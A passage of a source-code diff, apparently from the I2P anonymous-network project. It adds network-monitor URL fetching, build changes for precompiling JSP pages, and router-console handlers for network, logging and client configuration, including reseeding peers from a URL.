while ( (read = in.read(buf)) != -1) {
_fos.write(buf, 0, read);
}
} catch (IOException ioe) {
_log.error("Error writing the sink", ioe);
} finally {
if (_fos != null) try { _fos.close(); } catch (IOException ioe) {}
}
}
}
/**
* Fire up the streaming server. <code>Usage: StreamSinkServer sinkDir ourDestFile</code><br />
* <ul>
* <li><b>sinkDir</b>: Directory to store received files in</li>
* <li><b>ourDestFile</b>: filename to write our binary destination to</li>
* </ul>
*/
public static void main(String args[]) {
if (args.length != 2) {
System.out.println("Usage: StreamSinkServer sinkDir ourDestFile");
} else {
StreamSinkServer server = new StreamSinkServer(args[0], args[1]);
server.runServer();
}
}
}

View File

@ -15,4 +15,10 @@ net.i2p.client.streaming.I2PServerSocket#accept} method, which will provide an
{@link net.i2p.client.streaming.I2PSocket} when a new one is available. If an
application wants to create a new stream to a peer, it should do so with the
appropriate {@link net.i2p.client.streaming.I2PSocketManager#connect} call.</p>
<p>There is a simple pair of demo applications available as well - {@link
net.i2p.client.streaming.StreamSinkServer} listens to a destination and dumps
the data from all sockets it accepts to individual files, while {@link
net.i2p.client.streaming.StreamSinkClient} connects to a particular destination
and sends a specific amount of random data then disconnects.</p>
</body></html>

View File

@ -72,7 +72,7 @@ class DataHarvester {
*/
private void harvestRankAs(NetMonitor monitor, RouterInfo peer) {
int numFast = 0;
int numReliable = 0;
int numHighCapacity = 0;
int numNotFailing = 0;
int numFailing = 0;
@ -81,10 +81,10 @@ class DataHarvester {
String key = (String)iter.next();
if (key.startsWith("profile.")) {
String val = (String)props.get(key);
if (val.indexOf("fastReliable") != -1)
if (val.indexOf("fast") != -1)
numFast++;
else if (val.indexOf("reliable") != -1)
numReliable++;
else if (val.indexOf("highCapacity") != -1)
numHighCapacity++;
else if (val.indexOf("notFailing") != -1)
numNotFailing++;
else if (val.indexOf("failing") != -1)
@ -94,13 +94,13 @@ class DataHarvester {
long rankAs[] = new long[4];
rankAs[0] = numFast;
rankAs[1] = numReliable;
rankAs[1] = numHighCapacity;
rankAs[2] = numNotFailing;
rankAs[3] = numFailing;
String description = "how we rank peers";
String valDescr[] = new String[4];
valDescr[0] = "# peers we rank as fast";
valDescr[1] = "# peers we rank as reliable";
valDescr[1] = "# peers we rank as high capacity";
valDescr[2] = "# peers we rank as not failing";
valDescr[3] = "# peers we rank as failing";
monitor.addData(peer.getIdentity().getHash().toBase64(), "rankAs", description, valDescr, peer.getPublished(), rankAs);
@ -115,7 +115,7 @@ class DataHarvester {
*/
private void harvestRank(NetMonitor monitor, RouterInfo peer, List peers) {
int numFast = 0;
int numReliable = 0;
int numHighCapacity = 0;
int numNotFailing = 0;
int numFailing = 0;
@ -126,10 +126,10 @@ class DataHarvester {
String prop = "profile." + peer.getIdentity().getHash().toBase64().replace('=', '_');
String val = cur.getOptions().getProperty(prop);
if ( (val == null) || (val.length() <= 0) ) continue;
if (val.indexOf("fastReliable") != -1)
if (val.indexOf("fast") != -1)
numFast++;
else if (val.indexOf("reliable") != -1)
numReliable++;
else if (val.indexOf("highCapacity") != -1)
numHighCapacity++;
else if (val.indexOf("notFailing") != -1)
numNotFailing++;
else if (val.indexOf("failing") != -1)
@ -138,13 +138,13 @@ class DataHarvester {
long rank[] = new long[4];
rank[0] = numFast;
rank[1] = numReliable;
rank[1] = numHighCapacity;
rank[2] = numNotFailing;
rank[3] = numFailing;
String description = "how peers rank us";
String valDescr[] = new String[4];
valDescr[0] = "# peers ranking us as fast";
valDescr[1] = "# peers ranking us as reliable";
valDescr[1] = "# peers ranking us as high capacity";
valDescr[2] = "# peers ranking us as not failing";
valDescr[3] = "# peers ranking us as failing";
// we use the current date, not the published date, since this sample doesnt come from them
@ -173,7 +173,6 @@ class DataHarvester {
double values[] = harvestGroupValues(peer, group);
if (values == null) return;
String description = "how long it takes to do an ElGamal encryption";
String valDescr[] = new String[group.getStatCount()];
for (int i = 0; i < group.getStatCount(); i++)
valDescr[i] = group.getStat(i).getStatDescription();

View File

@ -18,7 +18,7 @@ import net.i2p.util.Log;
* Main driver for the app that harvests data about the performance of the network,
* building summaries for each peer that change over time. <p />
*
* Usage: <code>NetMonitor [configFilename] [--routers filename[,filename]*]</code> <p />
* Usage: <code>NetMonitor [configFilename] [--routers filename[,filename]*] [--netDbURL url] </code> <p />
*
*
*
@ -27,7 +27,7 @@ public class NetMonitor {
private static final Log _log = new Log(NetMonitor.class);
public static final String CONFIG_LOCATION_DEFAULT = "netmonitor.config";
public static final String HARVEST_DELAY_PROP = "harvestDelaySeconds";
public static final int HARVEST_DELAY_DEFAULT = 60;
public static final int HARVEST_DELAY_DEFAULT = 5*60;
public static final String EXPORT_DELAY_PROP = "exportDelaySeconds";
public static final int EXPORT_DELAY_DEFAULT = 120;
public static final String SUMMARY_DURATION_PROP = "summaryDurationHours";
@ -41,20 +41,22 @@ public class NetMonitor {
private int _exportDelay;
private String _exportDir;
private String _netDbDir;
private String _netDbURL;
private String _explicitRouters;
private int _summaryDurationHours;
private boolean _isRunning;
private Map _peerSummaries;
public NetMonitor() {
this(CONFIG_LOCATION_DEFAULT, null);
this(CONFIG_LOCATION_DEFAULT, null, null);
}
public NetMonitor(String configLocation) {
this(configLocation, null);
this(configLocation, null, null);
}
public NetMonitor(String configLocation, String explicitFilenames) {
public NetMonitor(String configLocation, String explicitFilenames, String url) {
_configLocation = configLocation;
_explicitRouters = explicitFilenames;
_netDbURL = url;
_peerSummaries = new HashMap(32);
loadConfig();
}
@ -127,6 +129,9 @@ public class NetMonitor {
public String getNetDbDir() { return _netDbDir; }
/** if specified, contains a set of filenames we want to harvest routerInfo data from */
public String getExplicitRouters() { return _explicitRouters; }
/** if specified, contains a URL to fetch references from */
public String getNetDbURL() { return _netDbURL; }
/**
* what peers are we keeping track of?
*
@ -212,11 +217,12 @@ public class NetMonitor {
/**
* main driver for the netMonitor. the usage is:
* <code>NetMonitor [configFilename] [--routers filename[,filename]*]</code>
* <code>NetMonitor [configFilename] [--routers filename[,filename]*] [--netDbURL url]</code>
*/
public static final void main(String args[]) {
String cfgLocation = CONFIG_LOCATION_DEFAULT;
String explicitFilenames = null;
String explicitURL = null;
switch (args.length) {
case 0:
break;
@ -224,16 +230,22 @@ public class NetMonitor {
cfgLocation = args[0];
break;
case 2:
explicitFilenames = args[1];
if ("--routers".equalsIgnoreCase(args[0]))
explicitFilenames = args[1];
else
explicitURL = args[1];
break;
case 3:
cfgLocation = args[0];
explicitFilenames = args[2];
if ("--routers".equalsIgnoreCase(args[1]))
explicitFilenames = args[2];
else
explicitURL = args[2];
break;
default:
System.err.println("Usage: NetMonitor [configFilename] [--routers filename[,filename]*]");
System.err.println("Usage: NetMonitor [configFilename] [--routers filename[,filename]*] [--netDbURL url]");
return;
}
new NetMonitor(cfgLocation, explicitFilenames).startMonitor();
new NetMonitor(cfgLocation, explicitFilenames, explicitURL).startMonitor();
}
}

View File

@ -1,12 +1,19 @@
package net.i2p.netmonitor;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FilenameFilter;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.StringTokenizer;
import net.i2p.data.DataFormatException;
@ -64,6 +71,9 @@ class NetMonitorRunner implements Runnable {
*
*/
private List getRouters() {
if (_monitor.getNetDbURL() != null)
return fetchRouters(_monitor.getNetDbURL());
File routers[] = listRouters();
List rv = new ArrayList(64);
if (routers != null) {
@ -86,6 +96,65 @@ class NetMonitorRunner implements Runnable {
return rv;
}
private List fetchRouters(String seedURL) {
List rv = new ArrayList();
try {
URL dir = new URL(seedURL);
String content = new String(readURL(dir));
Set urls = new HashSet();
int cur = 0;
while (true) {
int start = content.indexOf("href=\"routerInfo-", cur);
if (start < 0)
break;
int end = content.indexOf(".dat\">", start);
String name = content.substring(start+"href=\"routerInfo-".length(), end);
urls.add(name);
cur = end + 1;
}
for (Iterator iter = urls.iterator(); iter.hasNext(); ) {
rv.add(fetchSeed((String)iter.next()));
}
} catch (Throwable t) {
_log.error("Error fetching routers from " + seedURL, t);
}
return rv;
}
private RouterInfo fetchSeed(String peer) throws Exception {
URL url = new URL("http://i2p.net/i2pdb/routerInfo-" + peer + ".dat");
if (_log.shouldLog(Log.INFO))
_log.info("Fetching seed from " + url.toExternalForm());
byte data[] = readURL(url);
RouterInfo info = new RouterInfo();
try {
info.fromByteArray(data);
return info;
} catch (DataFormatException dfe) {
_log.error("Router data at " + url.toExternalForm() + " was corrupt", dfe);
return null;
}
}
private byte[] readURL(URL url) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream(1024);
URLConnection con = url.openConnection();
InputStream in = con.getInputStream();
byte buf[] = new byte[1024];
while (true) {
int read = in.read(buf);
if (read < 0)
break;
baos.write(buf, 0, read);
}
in.close();
return baos.toByteArray();
}
/**
* dump the data to the filesystem
*/

View File

@ -2,22 +2,21 @@
<project basedir="." default="all" name="routerconsole">
<target name="all" depends="clean, build" />
<target name="build" depends="builddep, jar" />
<target name="builddep" depends="jetty" >
<target name="builddep">
<ant dir="../../../router/java/" target="build" />
<!-- router will build core -->
</target>
<target name="jetty">
<untar src="jetty-4.2.21-min.tar.bz2" compression="bzip2" dest="." />
<ant dir="jetty-4.2.21-min/extra/jdk1.2/" target="all" />
<target name="prepare">
<ant dir="../../jetty/" target="build" />
</target>
<target name="compile">
<target name="compile" depends="prepare">
<mkdir dir="./build" />
<mkdir dir="./build/obj" />
<javac
srcdir="./src"
debug="true" deprecation="on" source="1.3" target="1.3"
destdir="./build/obj"
classpath="../../../core/java/build/i2p.jar:../../../router/java/build/router.jar:jetty-4.2.21-min/extra/lib/org.mortbay.jetty-jdk1.2.jar" />
classpath="../../../core/java/build/i2p.jar:../../../router/java/build/router.jar:../../jetty/jettylib/org.mortbay.jetty-jdk1.2.jar" />
</target>
<target name="jar" depends="compile">
<jar destfile="./build/routerconsole.jar" basedir="./build/obj" includes="**/*.class">
@ -27,11 +26,53 @@
</jar>
<ant target="war" />
</target>
<target name="war">
<war destfile="build/routerconsole.war" webxml="../jsp/web.xml"
basedir="../jsp/" excludes="web.xml">
<target name="war" depends="precompilejsp">
<war destfile="build/routerconsole.war" webxml="../jsp/web-out.xml"
basedir="../jsp/" excludes="web.xml, *.java, *.jsp, web-fragment.xml">
</war>
</target>
<target name="precompilejsp">
<delete dir="../jsp/WEB-INF/" />
<delete file="../jsp/web-fragment.xml" />
<delete file="../jsp/web-out.xml" />
<mkdir dir="../jsp/WEB-INF/" />
<mkdir dir="../jsp/WEB-INF/classes" />
<!-- there are various jspc ant tasks, but they all seem a bit flakey -->
<java classname="org.apache.jasper.JspC" fork="true" >
<classpath>
<pathelement location="../../jetty/jettylib/jasper-compiler.jar" />
<pathelement location="../../jetty/jettylib/jasper-runtime.jar" />
<pathelement location="../../jetty/jettylib/javax.servlet.jar" />
<pathelement location="../../jetty/jettylib/ant.jar" />
<pathelement location="build/routerconsole.jar" />
</classpath>
<arg value="-d" />
<arg value="../jsp/WEB-INF/classes" />
<arg value="-v9" />
<arg value="-p" />
<arg value="net.i2p.router.web.jsp" />
<arg value="-webinc" />
<arg value="../jsp/web-fragment.xml" />
<arg value="-webapp" />
<arg value="../jsp/" />
</java>
<javac destdir="../jsp/WEB-INF/classes/" srcdir="../jsp/WEB-INF/classes" includes="*.java">
<classpath>
<pathelement location="../../jetty/jettylib/jasper-runtime.jar" />
<pathelement location="../../jetty/jettylib/javax.servlet.jar" />
<pathelement location="build/routerconsole.jar" />
</classpath>
</javac>
<delete>
<fileset dir="../jsp/WEB-INF/" includes="**/*.java" />
<fileset dir="../jsp/WEB-INF/" includes="**/*.jsp" />
</delete>
<copy file="../jsp/web.xml" tofile="../jsp/web-out.xml" />
<loadfile property="jspc.web.fragment" srcfile="../jsp/web-fragment.xml" />
<replace file="../jsp/web-out.xml">
<replacefilter token="&lt;!-- precompiled servlets --&gt;" value="${jspc.web.fragment}" />
</replace>
</target>
<target name="javadoc">
<mkdir dir="./build" />
<mkdir dir="./build/javadoc" />
@ -52,6 +93,5 @@
<target name="distclean" depends="clean">
<!-- router will clean core -->
<ant dir="../../../router/java/" target="distclean" />
<delete dir="./jetty-4.2.21-min" />
</target>
</project>

View File

@ -0,0 +1,84 @@
package net.i2p.router.web;
import java.io.ByteArrayInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashSet;
import java.util.Iterator;
/**
* Handler to deal with form submissions from the advanced config form and act
* upon the values.
*
*/
public class ConfigAdvancedHandler extends FormHandler {
private boolean _forceRestart;
private boolean _shouldSave;
private String _config;
public void ConfigNetHandler() {
_shouldSave = false;
_forceRestart = false;
}
protected void processForm() {
if (_shouldSave) {
saveChanges();
} else {
// noop
}
}
public void setShouldsave(String moo) { _shouldSave = true; }
public void setRestart(String moo) { _forceRestart = true; }
public void setConfig(String val) {
_config = val;
}
/**
* The user made changes to the config and wants to save them, so
* lets go ahead and do so.
*
*/
private void saveChanges() {
HashSet unsetKeys = new HashSet(_context.router().getConfigMap().keySet());
if (_config != null) {
BufferedReader reader = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(_config.getBytes())));
String line = null;
try {
while ( (line = reader.readLine()) != null) {
int eq = line.indexOf('=');
if (eq == -1) continue;
if (eq >= line.length() - 1) continue;
String key = line.substring(0, eq).trim();
String val = line.substring(eq + 1).trim();
_context.router().setConfigSetting(key, val);
unsetKeys.remove(key);
}
} catch (IOException ioe) {
addFormError("Error updating the configuration (IOERROR) - please see the error logs");
return;
}
Iterator cleaner = unsetKeys.iterator();
while (cleaner.hasNext()) {
String unsetKey = (String)cleaner.next();
_context.router().removeConfigSetting(unsetKey);
}
boolean saved = _context.router().saveConfig();
if (saved)
addFormNotice("Configuration saved successfully");
else
addFormNotice("Error saving the configuration (applied but not saved) - please see the error logs");
if (_forceRestart) {
addFormNotice("Performing a soft restart");
_context.router().restart();
addFormNotice("Soft restart complete");
}
}
}
}

View File

@ -0,0 +1,74 @@
package net.i2p.router.web;
import net.i2p.router.ClientTunnelSettings;
/**
* Handler to deal with form submissions from the client config form and act
* upon the values.
*
*/
public class ConfigClientsHandler extends FormHandler {
private String _numClients;
private String _numTunnels;
private String _numHops;
private boolean _shouldSave;
public void ConfigNetHandler() {
_shouldSave = false;
}
protected void processForm() {
if (_shouldSave) {
saveChanges();
} else {
// noop
}
}
public void setShouldsave(String moo) { _shouldSave = true; }
public void setClientcount(String num) {
_numClients = (num != null ? num.trim(): null);
}
public void setTunnelcount(String num) {
_numTunnels = (num != null ? num.trim() : null);
}
public void setTunneldepth(String num) {
_numHops = (num != null ? num.trim() : null);
}
/**
* The user made changes to the network config and wants to save them, so
* lets go ahead and do so.
*
*/
private void saveChanges() {
boolean saveRequired = false;
if ( (_numClients != null) && (_numClients.length() > 0) ) {
_context.router().setConfigSetting("router.targetClients", _numClients);
addFormNotice("Updating estimated number of clients to " + _numClients);
saveRequired = true;
}
if ( (_numTunnels != null) && (_numTunnels.length() > 0) ) {
_context.router().setConfigSetting(ClientTunnelSettings.PROP_NUM_INBOUND, _numTunnels);
addFormNotice("Updating default number of tunnels per client to " + _numTunnels);
saveRequired = true;
}
if ( (_numHops != null) && (_numHops.length() > 0) ) {
_context.router().setConfigSetting(ClientTunnelSettings.PROP_DEPTH_INBOUND, _numHops);
addFormNotice("Updating default tunnel length to " + _numHops);
saveRequired = true;
}
if (saveRequired) {
boolean saved = _context.router().saveConfig();
if (saved)
addFormNotice("Configuration saved successfully");
else
addFormNotice("Error saving the configuration (applied but not saved) - please see the error logs");
}
}
}

View File

@ -0,0 +1,153 @@
package net.i2p.router.web;
import java.io.ByteArrayInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Properties;
import net.i2p.util.Log;
/**
* Handler to deal with form submissions from the logging config form and act
* upon the values.
*
*/
public class ConfigLoggingHandler extends FormHandler {
private boolean _shouldSave;
private String _levels;
private String _defaultLevel;
private String _filename;
private String _recordFormat;
private String _dateFormat;
private String _fileSize;
public void ConfigNetHandler() {
_shouldSave = false;
}
protected void processForm() {
if (_shouldSave) {
saveChanges();
} else {
// noop
}
}
public void setShouldsave(String moo) { _shouldSave = true; }
public void setLevels(String levels) {
_levels = (levels != null ? levels.trim() : null);
}
public void setDefaultloglevel(String level) {
_defaultLevel = (level != null ? level.trim() : null);
}
public void setLogfilename(String filename) {
_filename = (filename != null ? filename.trim() : null);
}
public void setLogformat(String format) {
_recordFormat = (format != null ? format.trim() : null);
}
public void setLogdateformat(String format) {
_dateFormat = (format != null ? format.trim() : null);
}
public void setLogfilesize(String size) {
_fileSize = (size != null ? size.trim() : null);
}
/**
* The user made changes to the config and wants to save them, so
* lets go ahead and do so.
*
*/
private void saveChanges() {
boolean shouldSave = false;
if (_levels != null) {
try {
Properties props = new Properties();
props.load(new ByteArrayInputStream(_levels.getBytes()));
_context.logManager().setLimits(props);
shouldSave = true;
addFormNotice("Log limits updated");
} catch (IOException ioe) {
_context.logManager().getLog(ConfigLoggingHandler.class).error("Error reading from the props?", ioe);
addFormError("Error updating the log limits - levels not valid");
}
} else {
_context.logManager().setLimits(null);
addFormNotice("Log limits cleared");
}
if (_defaultLevel != null) {
String oldDefault = _context.logManager().getDefaultLimit();
if (_defaultLevel.equals(oldDefault)) {
// noop
} else {
shouldSave = true;
_context.logManager().setDefaultLimit(_defaultLevel);
addFormNotice("Default log level updated from " + oldDefault + " to " + _defaultLevel);
}
}
if (_dateFormat != null) {
boolean valid = _context.logManager().setDateFormat(_dateFormat);
if (valid) {
shouldSave = true;
addFormNotice("Date format updated");
} else {
addFormError("Specified date format is not valid (" + _dateFormat + ") - not updated");
}
}
if (_fileSize != null) {
int newBytes = _context.logManager().getFileSize(_fileSize);
int oldBytes = _context.logManager().getFileSize();
if (newBytes > 0) {
if (oldBytes != newBytes) {
_context.logManager().setFileSize(newBytes);
shouldSave = true;
addFormNotice("File size updated");
}
} else {
addFormError("Specified file size limit is not valid (" + _fileSize + ") - not updated");
}
}
if ( (_filename != null) && (_filename.trim().length() > 0) ) {
_filename = _filename.trim();
String old = _context.logManager().getBaseLogfilename();
if ( (old != null) && (_filename.equals(old)) ) {
// noop - don't update since its the same
} else {
shouldSave = true;
_context.logManager().setBaseLogfilename(_filename);
addFormNotice("Log file name pattern updated to " + _filename
+ " (note: will not take effect until next rotation)");
}
}
if ( (_recordFormat != null) && (_recordFormat.trim().length() > 0) ) {
_recordFormat = _recordFormat.trim();
String old = new String(_context.logManager().getFormat());
if (_recordFormat.equalsIgnoreCase(old)) {
// noop - no change
} else {
char fmt[] = new char[_recordFormat.length()];
for (int i = 0; i < fmt.length; i++)
fmt[i] = _recordFormat.charAt(i);
_context.logManager().setFormat(fmt);
shouldSave = true;
addFormNotice("Log record format updated");
}
}
if (shouldSave) {
boolean saved = _context.logManager().saveConfig();
if (saved)
addFormNotice("Log configuration saved and applied successfully");
else
addFormNotice("Error saving the configuration (applied but not saved) - please see the error logs");
}
}
}

View File

@ -2,9 +2,10 @@ package net.i2p.router.web;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.List;
import java.util.Iterator;
import java.util.TreeMap;
import java.util.List;
import java.util.Properties;
import java.util.TreeSet;
import net.i2p.util.Log;
@ -49,65 +50,49 @@ public class ConfigLoggingHelper {
}
public String getLogLevelTable() {
StringBuffer buf = new StringBuffer(32*1024);
buf.append("<textarea rows=\"20\" cols=\"80\">");
List logs = _context.logManager().getLogs();
TreeMap sortedLogs = new TreeMap();
for (int i = 0; i < logs.size(); i++) {
Log l = (Log)logs.get(i);
sortedLogs.put(l.getName(), l);
Properties limits = _context.logManager().getLimits();
TreeSet sortedLogs = new TreeSet();
for (Iterator iter = limits.keySet().iterator(); iter.hasNext(); ) {
String prefix = (String)iter.next();
sortedLogs.add(prefix);
}
int i = 0;
for (Iterator iter = sortedLogs.values().iterator(); iter.hasNext(); i++) {
Log l = (Log)iter.next();
buf.append(l.getName()).append('=');
buf.append(Log.toLevelString(l.getMinimumPriority()));
buf.append("\n");
buf.append("<textarea name=\"levels\" rows=\"20\" cols=\"70\">");
for (Iterator iter = sortedLogs.iterator(); iter.hasNext(); ) {
String prefix = (String)iter.next();
String level = limits.getProperty(prefix);
buf.append(prefix).append('=').append(level).append('\n');
}
buf.append("</textarea><br />\n");
buf.append("<i>Valid levels are DEBUG, INFO, WARN, ERROR, CRIT</i>\n");
return buf.toString();
}
public String getLogLevelTableDetail() {
StringBuffer buf = new StringBuffer(8*1024);
buf.append("<table border=\"1\">\n");
buf.append("<tr><td>Package/class</td><td>Level</td></tr>\n");
List logs = _context.logManager().getLogs();
TreeMap sortedLogs = new TreeMap();
for (int i = 0; i < logs.size(); i++) {
Log l = (Log)logs.get(i);
sortedLogs.put(l.getName(), l);
}
int i = 0;
for (Iterator iter = sortedLogs.values().iterator(); iter.hasNext(); i++) {
Log l = (Log)iter.next();
buf.append("<tr>\n <td><input size=\"50\" type=\"text\" name=\"logrecord.");
buf.append(i).append(".package\" value=\"").append(l.getName());
buf.append("\" /></td>\n");
buf.append("<td><select name=\"logrecord.").append(i);
buf.append(".level\">\n\t");
buf.append("<option value=\"DEBUG\" ");
if (l.getMinimumPriority() == Log.DEBUG)
buf.append("selected=\"true\" ");
buf.append(">Debug</option>\n\t");
buf.append("<option value=\"INFO\" ");
if (l.getMinimumPriority() == Log.INFO)
buf.append("selected=\"true\" ");
buf.append(">Info</option>\n\t");
buf.append("<option value=\"WARN\" ");
if (l.getMinimumPriority() == Log.WARN)
buf.append("selected=\"true\" ");
buf.append(">Warn</option>\n\t");
buf.append("<option value=\"ERROR\" ");
if (l.getMinimumPriority() == Log.ERROR)
buf.append("selected=\"true\" ");
buf.append(">Error</option>\n\t");
buf.append("<option value=\"CRIT\" ");
if (l.getMinimumPriority() == Log.CRIT)
buf.append("selected=\"true\" ");
buf.append(">Critical</option>\n\t");
buf.append("</select></td>\n</tr>\n");
}
buf.append("</table>\n");
public String getDefaultLogLevelBox() {
String cur = _context.logManager().getDefaultLimit();
StringBuffer buf = new StringBuffer(128);
buf.append("<select name=\"defaultloglevel\">\n");
buf.append("<option value=\"DEBUG\" ");
if ("DEBUG".equals(cur)) buf.append(" selected=\"true\" ");
buf.append(">DEBUG</option>\n");
buf.append("<option value=\"INFO\" ");
if ("INFO".equals(cur)) buf.append(" selected=\"true\" ");
buf.append(">INFO</option>\n");
buf.append("<option value=\"WARN\" ");
if ("WARN".equals(cur)) buf.append(" selected=\"true\" ");
buf.append(">WARN</option>\n");
buf.append("<option value=\"ERROR\" ");
if ("ERROR".equals(cur)) buf.append(" selected=\"true\" ");
buf.append(">ERROR</option>\n");
buf.append("<option value=\"CRIT\" ");
if ("CRIT".equals(cur)) buf.append(" selected=\"true\" ");
buf.append(">CRIT</option>\n");
buf.append("</select>\n");
return buf.toString();
}
}

View File

@ -0,0 +1,293 @@
package net.i2p.router.web;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.File;
import java.io.FileOutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import net.i2p.util.Log;
import net.i2p.time.Timestamper;
import net.i2p.router.RouterContext;
import net.i2p.router.ClientTunnelSettings;
/**
* Handler to deal with form submissions from the main config form and act
* upon the values.
*
*/
public class ConfigNetHandler extends FormHandler {
private String _hostname;
private boolean _guessRequested;
private boolean _reseedRequested;
private boolean _saveRequested;
private boolean _timeSyncEnabled;
private String _port;
private String _inboundRate;
private String _inboundBurst;
private String _outboundRate;
private String _outboundBurst;
private String _reseedFrom;
public void ConfigNetHandler() {
_guessRequested = false;
_reseedRequested = false;
_saveRequested = false;
_timeSyncEnabled = false;
}
protected void processForm() {
if (_guessRequested) {
guessHostname();
} else if (_reseedRequested) {
reseed();
} else if (_saveRequested) {
saveChanges();
} else {
// noop
}
}
public void setGuesshost(String moo) { _guessRequested = true; }
public void setReseed(String moo) { _reseedRequested = true; }
public void setSave(String moo) { _saveRequested = true; }
public void setEnabletimesync(String moo) { _timeSyncEnabled = true; }
public void setHostname(String hostname) {
_hostname = (hostname != null ? hostname.trim() : null);
}
public void setPort(String port) {
_port = (port != null ? port.trim() : null);
}
public void setInboundrate(String rate) {
_inboundRate = (rate != null ? rate.trim() : null);
}
public void setInboundburstfactor(String factor) {
_inboundBurst = (factor != null ? factor.trim() : null);
}
public void setOutboundrate(String rate) {
_outboundRate = (rate != null ? rate.trim() : null);
}
public void setOutboundburstfactor(String factor) {
_outboundBurst = (factor != null ? factor.trim() : null);
}
public void setReseedfrom(String url) {
_reseedFrom = (url != null ? url.trim() : null);
}
private static final String IP_PREFIX = "<h1>Your IP is ";
private static final String IP_SUFFIX = " <br></h1>";
private void guessHostname() {
BufferedReader reader = null;
try {
URL url = new URL("http://www.whatismyip.com/");
URLConnection con = url.openConnection();
con.connect();
reader = new BufferedReader(new InputStreamReader(con.getInputStream()));
String line = null;
while ( (line = reader.readLine()) != null) {
if (line.startsWith(IP_PREFIX)) {
int end = line.indexOf(IP_SUFFIX);
if (end == -1) {
addFormError("Unable to guess the host (BAD_SUFFIX)");
return;
}
String ip = line.substring(IP_PREFIX.length(), end);
addFormNotice("Host guess: " + ip);
return;
}
}
addFormError("Unable to guess the host (NO_PREFIX)");
} catch (IOException ioe) {
addFormError("Unable to guess the host (IO_ERROR)");
_context.logManager().getLog(ConfigNetHandler.class).error("Unable to guess the host", ioe);
} finally {
if (reader != null) try { reader.close(); } catch (IOException ioe) {}
}
}
private static final String DEFAULT_SEED_URL = "http://dev.i2p.net/i2pdb/";
/**
* Reseed has been requested, so lets go ahead and do it. Fetch all of
* the routerInfo-*.dat files from the specified URL (or the default) and
* save them into this router's netDb dir.
*
*/
private void reseed() {
String seedURL = DEFAULT_SEED_URL;
if (_reseedFrom != null)
seedURL = _reseedFrom;
try {
URL dir = new URL(seedURL);
String content = new String(readURL(dir));
Set urls = new HashSet();
int cur = 0;
while (true) {
int start = content.indexOf("href=\"routerInfo-", cur);
if (start < 0)
break;
int end = content.indexOf(".dat\">", start);
String name = content.substring(start+"href=\"routerInfo-".length(), end);
urls.add(name);
cur = end + 1;
}
int fetched = 0;
for (Iterator iter = urls.iterator(); iter.hasNext(); ) {
fetchSeed(seedURL, (String)iter.next());
fetched++;
}
addFormNotice("Reseeded with " + fetched + " peers");
} catch (Throwable t) {
_context.logManager().getLog(ConfigNetHandler.class).error("Error reseeding", t);
addFormError("Error reseeding (RESEED_EXCEPTION)");
}
}
private void fetchSeed(String seedURL, String peer) throws Exception {
URL url = new URL(seedURL + "/routerInfo-" + peer + ".dat");
byte data[] = readURL(url);
writeSeed(peer, data);
}
private byte[] readURL(URL url) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream(1024);
URLConnection con = url.openConnection();
InputStream in = con.getInputStream();
byte buf[] = new byte[1024];
while (true) {
int read = in.read(buf);
if (read < 0)
break;
baos.write(buf, 0, read);
}
in.close();
return baos.toByteArray();
}
private void writeSeed(String name, byte data[]) throws Exception {
// props taken from KademliaNetworkDatabaseFacade...
String dirName = _context.getProperty("router.networkDatabase.dbDir", "netDb");
File netDbDir = new File(dirName);
if (!netDbDir.exists()) {
boolean ok = netDbDir.mkdirs();
if (ok)
addFormNotice("Network database directory created: " + dirName);
else
addFormNotice("Error creating network database directory: " + dirName);
}
FileOutputStream fos = new FileOutputStream(new File(netDbDir, "routerInfo-" + name + ".dat"));
fos.write(data);
fos.close();
}
/**
* The user made changes to the network config and wants to save them, so
* lets go ahead and do so.
*
*/
private void saveChanges() {
boolean restartRequired = false;
if ( (_hostname != null) && (_hostname.length() > 0) ) {
String oldHost = _context.router().getConfigSetting(ConfigNetHelper.PROP_I2NP_TCP_HOSTNAME);
if ( (oldHost == null) || (!oldHost.equalsIgnoreCase(_hostname)) ) {
_context.router().setConfigSetting(ConfigNetHelper.PROP_I2NP_TCP_HOSTNAME, _hostname);
addFormNotice("Updating hostname from " + oldHost + " to " + _hostname);
restartRequired = true;
}
}
if ( (_port != null) && (_port.length() > 0) ) {
String oldPort = _context.router().getConfigSetting(ConfigNetHelper.PROP_I2NP_TCP_PORT);
if ( (oldPort == null) || (!oldPort.equalsIgnoreCase(_port)) ) {
_context.router().setConfigSetting(ConfigNetHelper.PROP_I2NP_TCP_PORT, _port);
addFormNotice("Updating TCP port from " + oldPort + " to " + _port);
restartRequired = true;
}
}
updateRates();
if (_timeSyncEnabled) {
_context.router().setConfigSetting(Timestamper.PROP_DISABLED, "false");
} else {
_context.router().setConfigSetting(Timestamper.PROP_DISABLED, "false");
}
boolean saved = _context.router().saveConfig();
if (saved)
addFormNotice("Configuration saved successfully");
else
addFormNotice("Error saving the configuration (applied but not saved) - please see the error logs");
if (restartRequired) {
addFormNotice("Performing a soft restart");
_context.router().restart();
addFormNotice("Soft restart complete");
}
}
private void updateRates() {
boolean updated = false;
if ( (_inboundRate != null) && (_inboundRate.length() > 0) ) {
_context.router().setConfigSetting(ConfigNetHelper.PROP_INBOUND_KBPS, _inboundRate);
updated = true;
}
if ( (_outboundRate != null) && (_outboundRate.length() > 0) ) {
_context.router().setConfigSetting(ConfigNetHelper.PROP_OUTBOUND_KBPS, _outboundRate);
updated = true;
}
String inRate = _context.router().getConfigSetting(ConfigNetHelper.PROP_INBOUND_KBPS);
if (_inboundBurst != null) {
int rateKBps = 0;
int burstSeconds = 0;
try {
rateKBps = Integer.parseInt(inRate);
burstSeconds = Integer.parseInt(_inboundBurst);
